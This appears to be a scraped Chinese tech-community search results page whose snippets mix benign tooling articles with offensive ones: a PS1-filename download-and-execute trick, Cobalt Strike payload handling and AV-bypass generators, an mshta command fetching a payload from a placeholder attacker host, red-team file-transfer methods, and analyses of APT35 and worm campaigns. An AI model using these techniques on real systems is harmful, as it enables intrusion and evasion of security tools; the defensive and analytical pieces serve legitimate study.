首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

精心构造的PS1文件名导致Powershell命令执行

测试发现运行带有特殊格式文件名的脚本后,可以导致执行其他木马exe文件,也可以是任何可执行文件.com,.exe,.bat,.cpl,.js,.vbs和.wsf。 例如:使用”....我的PoC测试下载一个远程可执行文件,将其保存到计算机中,然后执行它,而与PS文件本身的内容无关紧要。PS文件本身就是一个简单的:Write-Host “Hello World!”...测试过程如下: 1、生成powershell命令:首先,我们创建一个用于混淆的Base64编码的文件名;它将下载执行一个在本例中名为“ calc.exe”的远程可执行文件。...以上示例是使用了“文件名嵌入式下载器”,其实我们还可以在同一目录中调用其他各种类型的第二特洛伊木马文件。 使用起来,是需要用户交互,需要想一个场景来利用。...显然运行任何随机PS脚本都是危险的…… 但是,我们查看了文件内容, ? 仅仅是打印了一个字符串,文件名理论被查杀的可能性小。

1.8K20

CS学习笔记 | 10、如何管理Payload载荷

psinject:将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。 powershell-import:导入 PowerShell 脚本到 Beacon 中。...直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空...可执行文件作为 Beacon 的后渗透任务来运行。...为了更好的隐蔽性,可以找到更合适的程序( Internet Explorer) 使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。...当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。

1.9K30
您找到你想要的搜索结果了吗?
是的
没有找到

第1章Hello world 45:对比RustJavaC++创建和运行Hello world全过程:运行一个程序

/gradlew run直接运行可执行文件直接运行可执行文件直接运行可执行文件生成文档cargo doc --open....--config Release运行发布后的程序直接运行可执行文件java -jar app/build/libs/app.jar直接运行可执行文件直接运行可执行文件直接运行可执行文件清除所有构建输出文件.../gradlew clean直接删除build文件夹直接删除build文件夹直接删除build文件夹这张表格将带你了解在不同编程语言和操作系统创建运行Hello world程序的简要步骤。...让我们一起开始吧:环境准备:Rust:可以用rustup安装不同版本的Rust,以便在同一台电脑开发不同Rust版本的项目。Java:可以用SDKMAN!...安装不同版本的Java,以便在同一台电脑开发不同Java版本的项目。C++ on macOS:用Xcode安装Clang。不支持在同一电脑安装多个C++版本。

15453

APT35 启用了新 PowerShell 后门

该后门通过在 .NET 上下文中直接运行而非生成 PowerShell 进程来规避 PowerShell 安全检测。...△ 执行流程 解析了相关的 DLL 文件和 API 调用后,开始执行 dll.dll: △ 主要代码 攻击者应该是借鉴了 GitHub 的公开代码片段,在运行时使用 CLR 运行 PowerShell...△ C&C 通信 PowerLess 所有解密都完成后,PowerLess 后门将会被执行: △ 后门命令解析 PowerLess 具备以下主要功能: 下载执行其他恶意软件 使用加密 C&C 信道...△ RCE 文件 Loader 有两种变种,检查操作系统的文件分割符来判断操作系统,再下载 Payload 执行持久化。...△ 部分代码 PowerShell 另一种方式是通过 PowerShell 代码进行投递,由开源工具Ps1 To Exe转换为可执行文件

1.1K30

Python中的NirCmd入门

虽然NirCmd是一个独立的可执行文件,但我们可以使用Python来调用它并将其集成到我们的脚本中。 本文将介绍如何在Python中使用NirCmd。...首先,我们需要下载安装NirCmd,确保它已添加到系统路径中。然后,我们将使用​​subprocess​​模块调用NirCmd命令并处理其输出。安装首先,我们需要下载安装NirCmd。...案例:自动截屏保存假设我们需要编写一个Python脚本,每隔一段时间自动截取屏幕的内容,并将截图保存到指定的文件夹中。我们可以使用NirCmd来实现这个任务。...NirCmd是一个功能强大的命令行工具,可以执行各种系统操作和任务。然而,它也有一些缺点,包括以下几点:平台限制:NirCmd只能在Windows操作系统使用,无法在其他操作系统运行。...与NirCmd相比,SikuliX更适合进行基于图像的自动化任务,自动化测试、图像识别等。PowerShellPowerShell是Windows操作系统的脚本编程语言和任务自动化框架。

37840

24.9K Star开源项目:打造高效命令行体验的利器,几年前我天天用,Windows必备

软件特点 以下是Cmder的一些主要特点,让你拥有更出色的命令行体验: 1.多环境支持:Cmder支持运行Linux Bash、Batch和PowerShell命令。...这意味着你可以在同一个终端中使用不同的命令环境,无需切换窗口或打开多个终端。 2.平滑的文本环绕:当调整Cmder窗口大小时,文本会自动适应平滑地环绕到新的中。...使用步骤 接下来是使用Cmder的简单步骤: 1.下载和安装:首先,访问Cmder的GitHub页面,从最新版本的可执行文件下载安装程序。运行安装程序并按照提示进行安装。...双击图标后,Cmder终端将打开显示命令行界面。 3.运行命令:一旦Cmder打开,你可以在命令行中输入和运行各种命令。...通过支持多个命令环境、平滑的文本环绕、长输出记录和自定义选项,Cmder提供了一个个性化和高自由度的命令行界面。下载安装Cmder并按照上述步骤使用它,你将发现命令行工作变得更加快捷和愉快。

37440

针对黑客的Windows文件传输总结

要启动 Apache Web 服务器,请将要向受害者提供的文件放在/var/www/html中,然后运行命令: systemctl start apache2 现在您将有一个在端口 80 运行的网络服务器...这不会将 EXE 文件下载执行到内存中。 当PowerShell脚本被下载直接执行到内存中时,它会将脚本加载到当前会话中,以便可以执行脚本函数。但是,由于执行策略,这可能会带来问题。...9.使用evil-winrm下载和上传文件 作为展示如何在 Windows 受害者上传输文件的最后一种方法,我们将使用一个名为evil-winrm的工具。...现在,当我们键入Invoke-Binary后跟一个选项卡时,它将自动完成到我们分配的可执行文件文件夹。再次按 Tab 键将显示所有可用的可执行文件。...现在,我们可以在Invoke-Rubeus函数加载到当前会话中时执行该函数,使用该脚本,而无需将其下载到受害者

45111

CobalStrike 4.0 生成后门几种方式 及 主机上线后基础操作

该程序包生成一个HTML应用,该应用运行一个CobaltSt rikepayload。你可以选择可执行的选项来获取一个HTML应用,此HTML应用使得一个可执行文件落地在磁盘上运行它。...选择PowerShell选项来得到一个HTML应用,该应用使用PowerShell运行一个payload。...使用VBA选项来静默派生一个MicrosoftExcel实例运行一个恶意的宏来将payload注入到内存中。...然后会生成一个URL复制到 http://x.x.x.x:8008/download/file.ext 然后在受害者机器运行 mshta http://x.x.x.x:8008/download/file.ext...勾选Sign executable file框来使用代码签名的证书来签名一个EXE或DLL Artifact。 这里尝试生成一个powershell马 但是生成后直接运行不可行 ?

3.2K10

【工具使用】强大的红队武器Octopus“吊打”杀软

载荷(前提是需要一个监听器) powershell单行代码将使您能够生成powershell命令,该命令可直接从C2下载执行有效负载。...Octopus里面会发现已经上线了 我们可以查看一下进程,powershell确实在后台运行。...由于使用了@ahmedkhlief,他可以重用APT34威胁组中的代码,该威胁组从C2下载HTA文件内容使用mshta.exe受信任的Windows二进制文件运行,以获取最终的Powershell代理已执行...Generate_exe:生成windows可执行文件 Octopus可以使用mono-project将C#代理编译为可执行文件,从而为您构建一个随时可用的Windows可执行文件(exe文件)。...您可以使用命令“ generate_exe”生成exe文件,如下所示: generate_exe test /root/test.exe 会生成一个可执行文件 我们下载到windows测试一下(这里有个坑

1.3K20

ATT&CK框架:攻击者最常用的TOP7攻击技术及其检测策略

攻击者可以使用PowerShell执行许多操作,包括发现信息和执行代码,例如,用于运行可执行文件的Start-Process cmdlet和在本地或在远程计算机上运行命令的Invoke-Command...此外,该技术利用的运行时环境、库和可执行文件是每个现代计算平台的核心组件,不能轻易禁用,并且没有始终对其进行密切监视。...有可靠记录表明,作为一种持久化机制,加之易于实施,该技术在一定程度上解释了其为何在攻击者中使用非常普遍。攻击者仅需要用户级别的权限,具有写入注册表或将有效负载拖放到启动文件夹的功能。...要检测已安装且处于休眠状态的持久化,可以检查同一注册表和文件系统路径的内容中是否存在可疑条目。创建一个基准定期监视是否有偏移基准的情况,以此来减少调查工作量。...标记分析包含混淆指示符和已知可疑语法(例如未解释的转义字符,'''^''' 和'''"''')的命令。反混淆工具可以用来检测文件/有效载荷中的这些指标。

1.5K10

如何使用RTA框架测试安全团队的威胁行为检测能力

RTA由多个Python脚本组成,可以生成50多种不同的ATT&CK战术策略,以及一个预先编译的二进制应用程序,根据需要执行文件时间停止、进程注入和信标模拟等活动。...在其他情况下,可执行文件 cmd.exe 或 python.exe)将被重命名,使其看起来像是 Windows 二进制文件正在执行非标准活动。...工具要求 由于该工具基于Python 2.7开发,因此我们首先需要在本地设备安装配置好Python 2.7环境。...需要注意的是,Windows Defender或其他防病毒产品可能会在RTA运行时阻止或以其他方式干扰RTA。在根据测试目标运行RTA之前,请考虑如何在测试主机上配置安全产品。...工具运行 如果直接运行RTA的话,可以直接执行下列命令: python powershell_args.py 如需运行这个那个RTA目录,最简python run_rta.py单的方法就是使用run_rta.py

21510

PowerShell静态分析(Part I)

例如,powershell脚本中的以下三都会产生相同的输出,即使它们是三个不同的调用方法。...如果一个powershell脚本,该脚本下载执行另一个脚本,枚举系统信息,使用压缩和大量base64,分析人员第一个想法可能是它是恶意的,因为这些是动态分析恶意软件的日常行为。...但在下图示例中,它只是一个powershell脚本,用于显示动画。 ? 确定意图 为了确定意图,需要建立一个“基本事实”,对脚本进行评分。...为此,需要手动分析现实环境中的数千个良性和恶意powershell脚本,分别标记它们良性或恶意。当一个已知的恶意脚本低于设定的阈值时,需要把精力集中在提高其余样本的准确性。...例如,只下载和执行可执行文件的脚本与相同行为但使用模糊处理且完全包含在一的脚本相比,当它同时生成日志或代码结构良好时,就不太可能是恶意的。

82110

何在Ubuntu 16.04使用Concourse CI设置持续集成管道

介绍 Concourse CI是一个现代的,可扩展的集成系统,旨在通过可组合的声明性语法自动测试管道。 在本教程中,我们将演示如何在将新更改提交到存储库时使用Concourse自动运行项目的测试套件。...Window 如果您的本地计算机运行Windows,请按键盘上的Windows键,输入powershell,然后按Enter。...第一个job(get: dependency-cache)中的第二个get语句需要我们定义的资源来下载和缓存项目的Node.js依赖项。此语句评估package.json文件中的要求下载它们。...这个新位置将查找npm所需的下载依赖项。 然后,我们进入应用程序库运行npm test以执行定义的测试套件。 完成后,保存关闭文件。...检测到更改后,Concourse会下载最新版本的存储库使用Docker容器来安装和缓存项目依赖项。然后构建进入测试阶段,在该阶段复制依赖项运行存储库的测试套件以检查是否引入了中断更改。

4.2K20

针对哈萨克斯坦的基于多阶段 PowerShell 的攻击

该 lib7.ps1 下载来自同一个帐户Github,并将其存储在PDF文件目录中(其实可以下载在更隐蔽的目录中)。...如果操作系统版本为 7 或 8,则下载执行 lib30.ps1 ,如果操作系统版本为 10,则下载执行 lib207.ps1。检查操作系统的版本主要是为了进行提权。...运行PowerShell 脚本包含一个 Base64 编码,解码后,在 CBC 模式下由三重 DES (3DES) 算法解密: 脚本的第一部分定义了一个名为 heller 的函数,作用是提升系统权限允许绕过...可执行文件的路径是使用 %windir% 环境变量在其属性中指定的,例如,可以重置其值以触发 PowerShell 脚本的启动。...使用 PowerShell下载执行最后阶段 ( updater.ps1 )。

93220

千万别被钓鱼!虚假 CVE-2023-40477 PoC 传播远控木马

geoserver 的字符串 新增下载执行批处理脚本的代码,注释为“检查依赖关系” 由于删除了部分代码,poc.py 脚本不能够完整正常运行。...Ihead=true (向右滑动,查看更多) URL 上部署的脚本会运行一个经过编码的 PowerShell 脚本,该脚本会通过 checkblacklistwords[.]eu/c.txt 下载一个...脚本会被保存在 %TEMP%\c.ps1 运行,如下所示: 下载PowerShell 脚本会再通过 checkblacklistwords[.]eu/words.txt 下载可执行文件,并将其保存到...PowerShell 脚本不仅运行可执行文件,还会创建一个名为 Windows.Gaming.Preview 的计划任务,该任务每三分钟运行一次可执行文件进行持久化。...这表明,攻击者在制作视频时可能就已经在系统运行 VenomRAT 远控木马了。

70330

蠕虫病毒“柠檬鸭”持续扩散 多种暴破方式攻击用户电脑

病毒入侵用户电脑后,会执行木马下载PowerShell脚本。该脚本运行后会下载执行挖矿模块和病毒传播模块。...下载执行挖矿模块和病毒传播模块 传播模块 在病毒执行后,会从C&C服务器下载执行一个名为if.bin的PowerShell脚本文件,该脚本为混淆后的病毒传播模块。...下载的脚本会创建计划任务运行PowerShell命令行,从而进一步在被感染的新机器上进行挖矿和病毒传播。...永恒之蓝漏洞传播 漏洞利用或是暴破成功后执行远程命令行或运行可执行文件。远程命令行或可执行文件功能基本一致,可以在被感染的新主机上创建计划任务下载执行恶意脚本。具体代码,如下图所示: ?...定义远程命令行和可执行文件 以其中一个下载执行的rdp.jsp脚本为例,这个脚本会创建计划任务执行PowerShell命令行,命令行内容与最初截获的样本命令行内容一致。

1.6K40

云课五分钟-03第一个开源游戏复现-贪吃蛇

这通常是一个压缩文件或Git仓库。您可以使用Git工具克隆仓库,或者下载压缩文件解压缩。 安装依赖:在Linux编译和运行DungeonRush-master游戏可能需要一些依赖库和工具。...如果有,您可以使用相应的构建工具(make或cmake)进行编译。执行编译命令后,将生成可执行文件或游戏二进制文件。 运行游戏:当编译完成后,您将得到一个可执行的游戏二进制文件。...这些信息详细地介绍了游戏的特点和玩法,以及如何在不同的操作系统安装游戏所需的依赖库,并提供了游戏的编译指南。...make 这将创建一个名为“build”的目录,并在其中编译游戏。 4. 运行游戏: 编译完成后,你可以在“build”目录中找到可执行文件。在终端中执行以下命令来运行游戏: ....确保你和你的朋友在同一网络中,获取彼此的IP地址。然后,通过在命令行参数中指定IP地址来连接对方。例如: .

29630

Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

该插件没有什么技术含量,本质利用的ps2exe.ps1脚本编译为exe,只是不想在命令行里操作,将其写为cna脚本,方便直接快速生成免杀的可执行文件且只有50KB,目前支持exe、ps1文件格式。...注:建议在powershell 4.0版本以上机器安装,可向下兼容powershell 2.0。...启用该cna脚本,选择指定的bin文件,点击生成恶意的ps1文件、exe可执行文件, 点击即可上线。...使用powershell 4.0上线server 2012 使用powershell 2.0上线server 2008 如果在webshell触发该可执行文件,需要start命令 更新日志2021...静态查杀未检测到病毒 运行上线火绒未报毒 读取文件火绒未报毒 ② bypass 卡巴斯基效果 静态查杀卡巴斯基未检测到病毒 成功上线-卡巴斯基未拦截 读取文件-卡巴斯基未拦截 执行命令,卡巴斯基拦截清除木马

1.4K10

C语言入门开发:Windows下安装vscode编写C语言代码

下载地址: https://code.visualstudio.com/ 二、Visual Studio Code 安装 安装包下载之后,直接鼠标双击运行。...三、下载安装GCC编译器 3.1 Mingw-w64编译器下载 VS Code只是一个编辑器,并不是IDE(集成开发环境);不含编译器(和许多其它功能),要编译C/C++程序,需要单独下载编译器。...将gcc/g++可执行文件的路径添加到系统环境变量中。 3.3 测试编译器 打开vscode编写代码,写完代码在终端编译运行。...PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用; 而Power就意味他是一个功能强大的...PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础添加命令。 (3) 对标Linux。

2.8K20
领券